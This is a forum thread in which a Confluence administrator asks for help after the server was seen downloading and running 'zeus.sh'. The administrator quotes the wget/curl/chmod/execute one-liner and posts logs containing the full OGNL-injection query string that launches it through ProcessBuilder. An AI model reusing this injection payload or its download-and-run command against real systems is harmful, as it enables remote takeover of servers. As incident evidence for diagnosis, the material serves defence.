Curl|Wget Malware / malicious files download attempt by confluence local instance
Asked by RaviS:

Confluence instance installed on our internal server trying to run below commands , these were flagged by our security scan . Reported as malware / malicious files from the command line. Need help to fix the problem and not allow to run any commands to avoid security violation.

bash -c cd /tmp;wget http://\<ipadddress\>/zeus.sh -O zeus.sh;curl -O http:// \<ipadddress\> /zeus.sh;chmod 777 zeus.sh;./zeus.sh

wget http:// \<ipadddress\> /zeus.sh -O zeus.sh


Answers:
author: Nic Brough -Adaptavist-
body: Welcome to the Atlassian Community!

Confluence does not have the ability to do that. You'll need to identify what you have added to or configured in Confluence that might be trying to do it.

comments: author: RaviS
body: Good morning Nic,

Based on recent logs we captured on confluence application , confluence is trying to run wget / access zeus.sh commands , please see below logs for reference .

Can you please guide how to fix this problem. Our security team suggested to stop application till we find a remediation as these commands trying to access external sites and we use our application internally.

found logs related below wget command mentioned below.  
Attributes  
--------------------------  
javax.servlet.forward.request_uri: /confluence/pages/createpage-entervariables.action  
javax.servlet.forward.context_path: /confluence  
javax.servlet.forward.servlet_path: /pages/createpage-entervariables.action  
javax.servlet.forward.mapping: org.apache.catalina.core.ApplicationMapping$MappingImpl@7e723cff  
javax.servlet.error.status_code: 500  
com.atlassian.confluence.impl.profiling.DecoratorTimings: com.atlassian.confluence.impl.profiling.DecoratorTimings@67173194  
com.opensymphony.sitemesh.APPLIED_ONCE: true  
__cleanup_recursion_counter: 0  
com.atlassian.confluence.util.message.MessagesDecoratorFilter__already_filtered__: true  
com.atlassian.confluence.web.filter.validateparam.RequestParamValidationFilter_already_filtered: true  
atlassian.core.seraph.original.url: /500page.jsp  
com.atlassian.labs.botkiller.BotKillerFilter: true  
com.atlassian.gzipfilter.GzipFilter_already_filtered: true  
Confluence-Request-Time: 1680287306831  
com.atlassian.confluence.web.ConfluenceJohnsonFilter_already_filtered: true  
org.apache.tomcat.util.net.secure_protocol_version: TLSv1.2  
javax.servlet.request.key_size: 256  
webwork.valueStack: com.opensymphony.xwork.util.OgnlValueStack@6076f7cd  
confluence.themecontext: com.atlassian.confluence.themes.ThemeContext@271bc372  
javax.servlet.error.message:  
javax.servlet.error.servlet_name: action  
javax.servlet.request.cipher_suite: ECDHE-RSA-AES256-GCM-SHA384  
javax.servlet.request.ssl_session_id: 85df84c86d0837a790a3acaf81fc6d8a98928ebd6b94d06929bd679ff3c6688c  
com.opensymphony.sitemesh.USINGSTREAM: false  
B3-TraceId: ea8638ed64ed1c  
loginfilter.already.filtered: true  
javax.servlet.jsp.jspException: java.lang.IllegalArgumentException: Space key is required  
javax.servlet.error.request_uri: /confluence/pages/createpage-entervariables.action  
com.atlassian.core.filters.HeaderSanitisingFilter_already_filtered: true  
com.atlassian.prettyurls.filter.PrettyUrlsSiteMeshFixupFilter: true  
javax.servlet.error.exception: java.lang.IllegalArgumentException: Space key is required  
os_securityfilter_already_filtered: true  
com.atlassian.prettyurls.filter.PrettyUrlsSiteMeshFilter: true  
--------------------------  
Parameters  
--------------------------  
queryString : aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022cd /tmp;wget http://ipaddress/zeus.sh -O zeus.sh;curl -O http://ipaddress/zeus.sh;chmod 777 zeus.sh;./zeus.sh\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027  
caused by: java.lang.IllegalArgumentException: Space key is required  
at org.springframework.util.Assert.isTrue(Assert.java:118)


Tags: server